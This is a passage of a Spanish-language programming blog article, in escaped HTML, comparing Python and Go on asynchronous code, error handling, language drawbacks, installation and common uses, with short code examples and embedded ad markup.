sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;asincronismo-en-python&#34;&gt;Asincronismo en Python&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;},{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;En Python las corutinas no aparecieron hasta su versión 3.5. Las funciones asíncronas se ejecutan en un hilo sencillo y únicamente cambian a otra corrutina cuando una operación asíncrona es encontrada.&lt;/p&gt;&#xA;&lt;p&gt;Se usa la misma sintaxis de async y await. Para esto usamos la librería&#xA;&lt;em&gt;asyncio&lt;/em&gt;, reunimos todas las tareas a ejecutar con &lt;em&gt;gather&lt;/em&gt; y las ejecutamos&#xA;con &lt;em&gt;run&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; asyncio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; time&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;wait_two_second&lt;/span&gt;(name):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; asyncio&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sleep(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; asyncio&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;gather(wait_two_second(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first&amp;#34;&lt;/span&gt;), wait_two_second(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second&amp;#34;&lt;/span&gt;), wait_two_second(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;third&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    asyncio&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;run(main())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este script tardará tres segundos en ejecutarse.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;manejo-de-errores&#34;&gt;Manejo de errores&lt;/h2&gt;&#xA;&lt;p&gt;El manejo de errores es algo que es bastante constante en los lenguajes, pero en el caso de go nos encontramos con que los creadores optaron por abandonar la convención y puede ser algo diferente a lo que estás acostumbrado.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-horrible-manejo-de-errores-en-go&#34;&gt;El horrible manejo de errores en go&lt;/h3&gt;&#xA;&lt;p&gt;Go tiene una manera bastante peculiar de manejar los errores. &lt;strong&gt;No cuenta con bloques &lt;em&gt;try&lt;/em&gt; y &lt;em&gt;except&lt;/em&gt; (o su equivalente en otros lenguajes)&lt;/strong&gt;. Sino que la ejecución de una función puede retornar un error como un segundo valor de retorno, el cual podemos obtener y verificar para saber si ha ocurrido un error.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;message, err &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;requestToApiEndpoint&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Fatal&lt;/span&gt;(err)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;el-elegante-manejo-de-errores-en-python&#34;&gt;El elegante manejo de errores en Python&lt;/h3&gt;&#xA;&lt;p&gt;Python maneja el clásico patrón de &lt;em&gt;try&amp;hellip;except&lt;/em&gt; que manejan la mayoría de los lenguajes de programación, donde los errores son capturados por el bloque &lt;em&gt;except&lt;/em&gt; y procesados a continuación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  do_something()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;except&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;An exception occurred&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;que-lenguaje-es-peor-python-vs-go&#34;&gt;¿Qué lenguaje es peor Python vs Go?&lt;/h2&gt;&#xA;&lt;h3 id=&#34;desventajas-y-mal-diseno-de-go&#34;&gt;Desventajas y mal diseño de go&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Go es muy &amp;ldquo;opinionated&amp;rdquo;. Tiene posturas muy rígidas sobre ciertas cosas, como el uso de todas las variables, pero deja otras tantas al buen manejo por parte del usuario, como los errores causados por punteros o pointers nulos. Se podría decir que es inconsistente en ese aspecto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;olvideRevisarError&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  resultado, err &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;accion&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// Se nos olvido revisar si err es igual a nil&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(resultado.algo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// runtime error:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// panic: invalid memory address or nil pointer dereference&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O por ejemplo el hecho de que puedes retornar tuplas, pero no puedes usarlas en otra parte del lenguaje.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// es posible retornar algo parecido a tuplas, aunque no puedes declarar una tupla en el lenguaje&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;returnTuple&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;No tiene valores por defecto para los argumentos de una función y tienes que recurrir a triquiñuelas para tener algo parecido&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// Esto NO existe en go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;sinValoresPredeterminados&lt;/span&gt;(valor=&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, valor2=&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El manejo de errores en Go no es muy bien recibido por muchos desarrolladores, quienes lo consideran inferior al de otros lenguajes.&lt;/p&gt;&#xA;&lt;p&gt;El siguiente patrón será muy recurrente y se repetirá múltiples veces en tu código, violando la máxima de DRY.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; err&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;las-desventajas-de-python&#34;&gt;Las desventajas de Python&lt;/h3&gt;&#xA;&lt;p&gt;Entre las cosas no tan geniales de Python está la fuerte separación que ocurrió entre Python 2 y Python 3, dejando muchas librerías desactualizadas o con un montón de parches para hacer compatible el código entre ambas versiones.&lt;/p&gt;&#xA;&lt;p&gt;Otro aspecto bastante problemático es el uso excesivo de memoria, junto con la velocidad del lenguaje; el intérprete de Python es lento. Python está forzado de manera predeterminada a correr en un solo hilo, por su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://wiki.python.org/moin/GlobalInterpreterLock&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;GIL&lt;/a&gt;&#xA;, lo cual no permite el aprovechamiento total por parte de las computadoras modernas sin complicar el código.&lt;/p&gt;&#xA;&lt;h2 id=&#34;soporte-de-go&#34;&gt;Soporte de Go&lt;/h2&gt;&#xA;&lt;p&gt;Go, a la fecha de escritura de este artículo, requiere instalarse en el sistema ya sea de la página oficial o los repositorios.&lt;/p&gt;&#xA;&lt;p&gt;Mientras que Python cuenta con un soporta bastante amplio, pues se encuentra instalado generalmente en todas las distribuciones de GNU/Linux y basta con que abras una terminal y teclees la palabra Python para empezar a usarlo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/PythonConsola.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/PythonConsola.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python ejecutándose en una terminal&#34; width=&#34;717&#34; height=&#34;432&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;usos-comunes-de-python-y-go&#34;&gt;Usos comunes de Python y Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;usos-comunes-de-go&#34;&gt;Usos comunes de Go&lt;/h3&gt;&#xA;&lt;p&gt;Go puede usarse para casi cualquier cosa pero tiene fuerte presencia en herramientas de devops, al grado de que algunos lo consideran la lengua defacto del los servidores de backend y el blockchain. Docker, Traeffik, Docker compose, 